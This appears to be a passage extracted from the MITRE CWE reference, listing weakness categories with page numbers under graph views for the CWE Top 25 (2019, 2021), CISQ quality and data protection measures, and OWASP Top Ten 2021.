- B CWE-1295: Debug Messages Revealing Unnecessary Information (p.1985)
- B CWE-1296: Incorrect Chaining or Granularity of Debug Components (p.1986)
- B CWE-1313: Hardware Allows Activation of Test or Debug Logic at Runtime (p.2013)
- B CWE-1323: Improper Management of Sensitive Trace Data (p.2034)
- B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
- C CWE-1208: Cross-Cutting Problems (p.2268)
- B CWE-440: Expected Behavior Violation (p.1004)
- B CWE-1053: Missing Documentation for Design (p.1753)
- G CWE-1059: Insufficient Technical Documentation (p.1759)
- G CWE-1263: Improper Physical Access Control (p.1923)
- B CWE-1277: Firmware Not Updateable (p.1952)
- B CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component (p.2000)
- V CWE-1330: Remanent Data Readable after Memory Erase (p.2045)
- B CWE-1329: Reliance on Component That is Not Updateable (p.2043)
- G CWE-1357: Reliance on Insufficiently Trustworthy Component (p.2076)
- C CWE-1388: Physical Access Issues and Concerns (p.2309)
- G CWE-1384: Improper Handling of Physical or Environmental Conditions (p.2078)
- B CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI) (p.2026)
- B CWE-1247: Improper Protection Against Voltage and Clock Glitches (p.1886)
- B CWE-1261: Improper Handling of Single Event Upsets (p.1918)
- B CWE-1332: Improper Handling of Faults that Lead to Instruction Skips (p.2050)
- B CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments (p.2074)
- B CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques (p.1955)
- V CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks (p.1902)
- B CWE-1300: Improper Protection of Physical Side Channels (p.1996)
- B CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications (p.1889)

## Graph View: CWE-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors

-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
-  CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
-  CWE-20: Improper Input Validation (p.19)
-  CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.484)
-  CWE-125: Out-of-bounds Read (p.316)
-  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
-  CWE-416: Use After Free (p.958)
-  CWE-190: Integer Overflow or Wraparound (p.453)
-  CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
-  CWE-787: Out-of-bounds Write (p.1547)
-  CWE-287: Improper Authentication (p.657)
-  CWE-476: NULL Pointer Dereference (p.1070)
-  CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
-  CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
-  CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
-  CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)
-  CWE-798: Use of Hard-coded Credentials (p.1573)
-  CWE-400: Uncontrolled Resource Consumption (p.912)
-  CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
-  CWE-426: Untrusted Search Path (p.972)
-  CWE-502: Deserialization of Untrusted Data (p.1137)
-  CWE-269: Improper Privilege Management (p.613)
-  CWE-295: Improper Certificate Validation (p.677)

## Graph View: CWE-1305: CISQ Quality Measures (2020)

- CWE-1306: CISQ Quality Measures - Reliability (p.2276)
  - G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
    - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
    - B CWE-123: Write-what-where Condition (p.310)
    - B CWE-125: Out-of-bounds Read (p.316)
    - B CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
    - B CWE-786: Access of Memory Location Before Start of Buffer (p.1544)
    - B CWE-787: Out-of-bounds Write (p.1547)
    - B CWE-788: Access of Memory Location After End of Buffer (p.1555)
    - B CWE-805: Buffer Access with Incorrect Length Value (p.1585)
    - B CWE-822: Untrusted Pointer Dereference (p.1604)
    - B CWE-823: Use of Out-of-range Pointer Offset (p.1606)
    - B CWE-824: Access of Uninitialized Pointer (p.1609)
    - B CWE-825: Expired Pointer Dereference (p.1612)
  - B CWE-170: Improper Null Termination (p.411)
  - B CWE-252: Unchecked Return Value (p.575)
  - B CWE-390: Detection of Error Condition Without Action (p.893)
  - B CWE-394: Unexpected Status Code or Return Value (p.904)
  - G CWE-404: Improper Resource Shutdown or Release (p.927)
    - V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
    - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
    - V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p.1519)
  - G CWE-424: Improper Protection of Alternate Path (p.968)
  - B CWE-459: Incomplete Cleanup (p.1038)
  - B CWE-476: NULL Pointer Dereference (p.1070)
  - B CWE-480: Use of Incorrect Operator (p.1087)
  - B CWE-484: Omitted Break Statement in Switch (p.1097)
  - B CWE-562: Return of Stack Variable Address (p.1204)
  - V CWE-595: Comparison of Object References Instead of Object Contents (p.1256)
    - B CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p.1797)
    - V CWE-597: Use of Wrong Operator in String Comparison (p.1258)
  - G CWE-662: Improper Synchronization (p.1363)
    - B CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1758)
    - V CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1796)
    - B CWE-366: Race Condition within a Thread (p.856)
    - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1183)
    - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
    - G CWE-667: Improper Locking (p.1375)
    - B CWE-764: Multiple Locks of a Critical Resource (p.1493)
    - B CWE-820: Missing Synchronization (p.1601)
    - B CWE-821: Incorrect Synchronization (p.1603)
    - B CWE-833: Deadlock (p.1632)
  - G CWE-665: Improper Initialization (p.1368)
    - V CWE-456: Missing Initialization of a Variable (p.1029)
    - V CWE-457: Use of Uninitialized Variable (p.1034)
  - G CWE-672: Operation on a Resource after Expiration or Release (p.1386)
    - V CWE-415: Double Free (p.954)
    - V CWE-416: Use After Free (p.958)
  - B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
    - V CWE-194: Unexpected Sign Extension (p.471)
    - V CWE-195: Signed to Unsigned Conversion Error (p.474)




























- V CWE-196: Unsigned to Signed Conversion Error (p.477)
- B CWE-197: Numeric Truncation Error (p.479)
- P| CWE-682: Incorrect Calculation (p.1403)
- B CWE-131: Incorrect Calculation of Buffer Size (p.340)
- B CWE-369: Divide By Zero (p.865)
- P| CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
- B CWE-248: Uncaught Exception (p.566)
- B CWE-391: Unchecked Error Condition (p.898)
- B CWE-392: Missing Report of Error Condition (p.901)
- C CWE-704: Incorrect Type Conversion or Cast (p.1435)
- C CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p.1636)
- B CWE-908: Use of Uninitialized Resource (p.1669)
- V CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p.1745)
- B CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1751)
- B CWE-1066: Missing Serialization Control Element (p.1767)
- B CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p.1772)
- V CWE-1077: Floating Point Comparison with Incorrect Operator (p.1778)
- B CWE-1079: Parent Class without Virtual Destructor Method (p.1780)
- B CWE-1082: Class Instance Self Destruction Control Element (p.1782)
- B CWE-1083: Data Access from Outside Expected Data Manager Component (p.1783)
- B CWE-1087: Class with Virtual Method without a Virtual Destructor (p.1787)
- B CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1788)
- V CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p.1798)
- C CWE-1307: CISQ Quality Measures - Maintainability (p.2277)
- C CWE-407: Inefficient Algorithmic Complexity (p.939)
- B CWE-478: Missing Default Case in Multiple Condition Expression (p.1079)
- B CWE-480: Use of Incorrect Operator (p.1087)
- B CWE-484: Omitted Break Statement in Switch (p.1097)
- B CWE-561: Dead Code (p.1201)
- B CWE-570: Expression is Always False (p.1216)
- B CWE-571: Expression is Always True (p.1219)
- B CWE-783: Operator Precedence Logic Error (p.1536)
- B CWE-1041: Use of Redundant Code (p.1740)
- V CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p.1745)
- B CWE-1047: Modules with Circular Dependencies (p.1747)
- B CWE-1048: Invokable Control Element with Large Number of Outward Calls (p.1748)
- B CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1751)
- B CWE-1052: Excessive Use of Hard-Coded Literals in Initialization (p.1752)
- B CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1754)
- B CWE-1055: Multiple Inheritance from Concrete Classes (p.1755)
- B CWE-1062: Parent Class with References to Child Class (p.1763)
- B CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (p.1765)
- B CWE-1074: Class with Excessively Deep Inheritance (p.1776)
- B CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (p.1777)
- B CWE-1079: Parent Class without Virtual Destructor Method (p.1780)
- B CWE-1080: Source Code File with Excessive Number of Lines of Code (p.1781)
- B CWE-1084: Invokable Control Element with Excessive File or Data Access Operations (p.1784)
- B CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p.1785)
- B CWE-1086: Class with Excessive Number of Child Classes (p.1786)
- B CWE-1087: Class with Virtual Method without a Virtual Destructor (p.1787)
- B CWE-1090: Method Containing Access of a Member Element from Another Class (p.1791)

- B CWE-1095: Loop Condition Value Update within the Loop (p.1795)
- C CWE-1308: CISQ Quality Measures - Security (p.2278)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B CWE-23: Relative Path Traversal (p.44)
  - B CWE-36: Absolute Path Traversal (p.72)
- G CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - B CWE-624: Executable Regular Expression Error (p.1308)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
  - B CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1692)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
  - V CWE-564: SQL Injection: Hibernate (p.1207)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
- G CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - B CWE-123: Write-what-where Condition (p.310)
  - B CWE-125: Out-of-bounds Read (p.316)
  - B CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
  - B CWE-786: Access of Memory Location Before Start of Buffer (p.1544)
  - B CWE-787: Out-of-bounds Write (p.1547)
  - B CWE-788: Access of Memory Location After End of Buffer (p.1555)
  - B CWE-805: Buffer Access with Incorrect Length Value (p.1585)
  - B CWE-822: Untrusted Pointer Dereference (p.1604)
  - B CWE-823: Use of Out-of-range Pointer Offset (p.1606)
  - B CWE-824: Access of Uninitialized Pointer (p.1609)
  - B CWE-825: Expired Pointer Dereference (p.1612)
- V CWE-129: Improper Validation of Array Index (p.327)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- B CWE-252: Unchecked Return Value (p.575)
- G CWE-404: Improper Resource Shutdown or Release (p.927)
  - V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
  - V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p.1519)
- G CWE-424: Improper Protection of Alternate Path (p.968)
- B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
- B CWE-477: Use of Obsolete Function (p.1076)
- B CWE-480: Use of Incorrect Operator (p.1087)
- B CWE-502: Deserialization of Untrusted Data (p.1137)
- B CWE-570: Expression is Always False (p.1216)
- B CWE-571: Expression is Always True (p.1219)
- B CWE-606: Unchecked Input for Loop Condition (p.1278)
- B CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
- G CWE-662: Improper Synchronization (p.1363)
  - B CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1758)



- V CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1796)
- B CWE-366: Race Condition within a Thread (p.856)
- V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1183)
- B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
- C CWE-667: Improper Locking (p.1375)
- B CWE-764: Multiple Locks of a Critical Resource (p.1493)
- B CWE-820: Missing Synchronization (p.1601)
- B CWE-821: Incorrect Synchronization (p.1603)
- B CWE-833: Deadlock (p.1632)
- C CWE-665: Improper Initialization (p.1368)
  - V CWE-456: Missing Initialization of a Variable (p.1029)
  - V CWE-457: Use of Uninitialized Variable (p.1034)
- C CWE-672: Operation on a Resource after Expiration or Release (p.1386)
  - V CWE-415: Double Free (p.954)
  - V CWE-416: Use After Free (p.958)
- B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - V CWE-194: Unexpected Sign Extension (p.471)
  - V CWE-195: Signed to Unsigned Conversion Error (p.474)
  - V CWE-196: Unsigned to Signed Conversion Error (p.477)
  - B CWE-197: Numeric Truncation Error (p.479)
- P CWE-682: Incorrect Calculation (p.1403)
  - B CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - B CWE-369: Divide By Zero (p.865)
- C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- B CWE-778: Insufficient Logging (p.1525)
- B CWE-783: Operator Precedence Logic Error (p.1536)
- V CWE-789: Memory Allocation with Excessive Size Value (p.1558)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- B CWE-798: Use of Hard-coded Credentials (p.1573)
  - V CWE-259: Use of Hard-coded Password (p.591)
  - V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p.1636)
- C CWE-1309: CISQ Quality Measures - Efficiency (p.2279)
  - C CWE-404: Improper Resource Shutdown or Release (p.927)
    - V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
    - B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
    - V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p.1519)
  - C CWE-424: Improper Protection of Alternate Path (p.968)
  - V CWE-1042: Static Member Data Element outside of a Singleton Class Element (p.1742)
  - B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p.1743)
  - B CWE-1046: Creation of Immutable Text Using String Concatenation (p.1746)
  - B CWE-1049: Excessive Data Query Operations in a Large Data Table (p.1749)
  - B CWE-1050: Excessive Platform Resource Consumption within a Loop (p.1750)
  - B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1757)
  - B CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (p.1761)
  - B CWE-1067: Excessive Execution of Sequential Searches of Data Resource (p.1768)
  - B CWE-1072: Data Resource Access without Use of Connection Pooling (p.1773)
  - B CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses (p.1774)
  - B CWE-1089: Large Data Table with Excessive Number of Indices (p.1789)
  - B CWE-1091: Use of Object without Invoking Destructor Method (p.1792)
  - B CWE-1094: Excessive Index Range Scan for a Data Resource (p.1794)

## Graph View: CWE-1337: Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses

-  CWE-787: Out-of-bounds Write (p.1547)
-  CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
-  CWE-125: Out-of-bounds Read (p.316)
-  CWE-20: Improper Input Validation (p.19)
-  CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
-  CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
-  CWE-416: Use After Free (p.958)
-  CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
-  CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
-  CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
-  CWE-306: Missing Authentication for Critical Function (p.703)
-  CWE-190: Integer Overflow or Wraparound (p.453)
-  CWE-502: Deserialization of Untrusted Data (p.1137)
-  CWE-287: Improper Authentication (p.657)
-  CWE-476: NULL Pointer Dereference (p.1070)
-  CWE-798: Use of Hard-coded Credentials (p.1573)
-  CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
-  CWE-862: Missing Authorization (p.1657)
-  CWE-276: Incorrect Default Permissions (p.630)
-  CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.484)
-  CWE-522: Insufficiently Protected Credentials (p.1157)
-  CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
-  CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
-  CWE-918: Server-Side Request Forgery (SSRF) (p.1694)
-  CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)

## Graph View: CWE-1340: CISQ Data Protection Measures

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - CWE-123: Write-what-where Condition (p.310)
  - CWE-125: Out-of-bounds Read (p.316)
  - CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
  - CWE-786: Access of Memory Location Before Start of Buffer (p.1544)
  - CWE-787: Out-of-bounds Write (p.1547)
  - CWE-788: Access of Memory Location After End of Buffer (p.1555)
  - CWE-805: Buffer Access with Incorrect Length Value (p.1585)
  - CWE-822: Untrusted Pointer Dereference (p.1604)
  - CWE-823: Use of Out-of-range Pointer Offset (p.1606)
  - CWE-824: Access of Uninitialized Pointer (p.1609)
  - CWE-825: Expired Pointer Dereference (p.1612)
- CWE-672: Operation on a Resource after Expiration or Release (p.1386)
  - CWE-415: Double Free (p.954)
  - CWE-416: Use After Free (p.958)
- CWE-665: Improper Initialization (p.1368)
  - CWE-456: Missing Initialization of a Variable (p.1029)
  - CWE-457: Use of Uninitialized Variable (p.1034)
- CWE-404: Improper Resource Shutdown or Release (p.927)
  - CWE-761: Free of Pointer not at Start of Buffer (p.1481)
  - CWE-762: Mismatched Memory Management Routines (p.1485)
  - CWE-763: Release of Invalid Pointer or Reference (p.1488)
  - CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
  - CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p.1519)
- CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - CWE-624: Executable Regular Expression Error (p.1308)
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
  - CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1692)
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
- CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1751)
- CWE-424: Improper Protection of Alternate Path (p.968)
- CWE-798: Use of Hard-coded Credentials (p.1573)
  - CWE-259: Use of Hard-coded Password (p.591)
  - CWE-321: Use of Hard-coded Cryptographic Key (p.745)
- CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - CWE-194: Unexpected Sign Extension (p.471)
  - CWE-195: Signed to Unsigned Conversion Error (p.474)
  - CWE-196: Unsigned to Signed Conversion Error (p.477)
  - CWE-197: Numeric Truncation Error (p.479)
- CWE-662: Improper Synchronization (p.1363)
  - CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1758)
  - CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1796)

- B CWE-366: Race Condition within a Thread (p.856)
- V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1183)
- B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
- C CWE-667: Improper Locking (p.1375)
- B CWE-764: Multiple Locks of a Critical Resource (p.1493)
- B CWE-820: Missing Synchronization (p.1601)
- B CWE-821: Incorrect Synchronization (p.1603)
- C CWE-704: Incorrect Type Conversion or Cast (p.1435)
- B CWE-562: Return of Stack Variable Address (p.1204)
- B CWE-170: Improper Null Termination (p.411)
- V CWE-129: Improper Validation of Array Index (p.327)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- B CWE-606: Unchecked Input for Loop Condition (p.1278)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B CWE-23: Relative Path Traversal (p.44)
  - B CWE-36: Absolute Path Traversal (p.72)
- B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
- P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
  - B CWE-248: Uncaught Exception (p.566)
  - B CWE-391: Unchecked Error Condition (p.898)
  - B CWE-392: Missing Report of Error Condition (p.901)
- B CWE-908: Use of Uninitialized Resource (p.1669)
- P CWE-682: Incorrect Calculation (p.1403)
  - B CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - B CWE-369: Divide By Zero (p.865)
- C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- B CWE-502: Deserialization of Untrusted Data (p.1137)
- B CWE-213: Exposure of Sensitive Information Due to Incompatible Policies (p.523)
- B CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p.1684)
- C CWE-311: Missing Encryption of Sensitive Data (p.718)
- B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
- P CWE-284: Improper Access Control (p.644)
  - C CWE-285: Improper Authorization (p.649)
  - C CWE-287: Improper Authentication (p.657)
  - B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.664)
  - B CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
  - C CWE-862: Missing Authorization (p.1657)
  - C CWE-863: Incorrect Authorization (p.1664)

## Graph View: CWE-1344: Weaknesses in OWASP Top Ten (2021)

- C** CWE-1345: OWASP Top Ten 2021 Category A01:2021 - Broken Access Control (p.2280)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B** CWE-23: Relative Path Traversal (p.44)
  - V** CWE-35: Path Traversal: '..!.../' (p.70)
  - B** CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
  - G** CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (p.484)
  - B** CWE-201: Insertion of Sensitive Information Into Sent Data (p.493)
  - V** CWE-219: Storage of File with Sensitive Data Under Web Root (p.529)
  - C** CWE-264: Permissions, Privileges, and Access Controls (p.2108)
  - C** CWE-275: Permission Issues (p.2110)
  - B** CWE-276: Incorrect Default Permissions (p.630)
  - |P|** CWE-284: Improper Access Control (p.644)
  - G** CWE-285: Improper Authorization (p.649)
  - ⚙** CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
  - B** CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
  - G** CWE-377: Insecure Temporary File (p.876)
  - G** CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p.924)
  - B** CWE-425: Direct Request ('Forced Browsing') (p.969)
  - G** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p.1005)
  - B** CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1127)
  - B** CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory (p.1178)
  - B** CWE-540: Inclusion of Sensitive Information in Source Code (p.1180)
  - V** CWE-548: Exposure of Information Through Directory Listing (p.1189)
  - B** CWE-552: Files or Directories Accessible to External Parties (p.1193)
  - V** CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p.1211)
  - B** CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
  - V** CWE-651: Exposure of WSDL File Containing Sensitive Information (p.1350)
  - G** CWE-668: Exposure of Resource to Wrong Sphere (p.1380)
  - G** CWE-706: Use of Incorrectly-Resolved Name or Reference (p.1439)
  - G** CWE-862: Missing Authorization (p.1657)
  - G** CWE-863: Incorrect Authorization (p.1664)
  - G** CWE-913: Improper Control of Dynamically-Managed Code Resources (p.1681)
  - G** CWE-922: Insecure Storage of Sensitive Information (p.1698)
  - V** CWE-1275: Sensitive Cookie with Improper SameSite Attribute (p.1948)
- C** CWE-1346: OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures (p.2281)
  - B** CWE-261: Weak Encoding for Password (p.598)
  - B** CWE-296: Improper Following of a Certificate's Chain of Trust (p.682)
  - C** CWE-310: Cryptographic Issues (p.2111)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - V** CWE-321: Use of Hard-coded Cryptographic Key (p.745)
  - B** CWE-322: Key Exchange without Entity Authentication (p.749)
  - V** CWE-323: Reusing a Nonce, Key Pair in Encryption (p.750)
  - B** CWE-324: Use of a Key Past its Expiration Date (p.752)
  - B** CWE-325: Missing Cryptographic Step (p.754)
  - G** CWE-326: Inadequate Encryption Strength (p.756)
  - G** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - B** CWE-328: Use of Weak Hash (p.765)
  - V** CWE-329: Generation of Predictable IV with CBC Mode (p.769)
  - G** CWE-330: Use of Insufficiently Random Values (p.772)
  - B** CWE-331: Insufficient Entropy (p.778)



- B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.786)
- V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.789)
- V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.791)
- B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.793)
- G CWE-340: Generation of Predictable Numbers or Identifiers (p.798)
- B CWE-347: Improper Verification of Cryptographic Signature (p.811)
- B CWE-523: Unprotected Transport of Credentials (p.1161)
- C CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications (p.2126)
- B CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p.1471)
- V CWE-759: Use of a One-Way Hash without a Salt (p.1474)
- V CWE-760: Use of a One-Way Hash with a Predictable Salt (p.1479)
- V CWE-780: Use of RSA Algorithm without OAEP (p.1531)
- C CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection (p.2153)
- B CWE-916: Use of Password Hash With Insufficient Computational Effort (p.1688)
- C CWE-1347: OWASP Top Ten 2021 Category A03:2021 - Injection (p.2282)
- G CWE-20: Improper Input Validation (p.19)
- G CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.133)
- G CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p.138)
- G CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- V CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p.172)
- V CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p.179)
- V CWE-87: Improper Neutralization of Alternate XSS Syntax (p.186)
- B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
- B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.211)
- B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)
- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.220)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.225)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.228)
- V CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p.229)
- G CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- V CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') (p.263)
- G CWE-116: Improper Encoding or Escaping of Output (p.272)
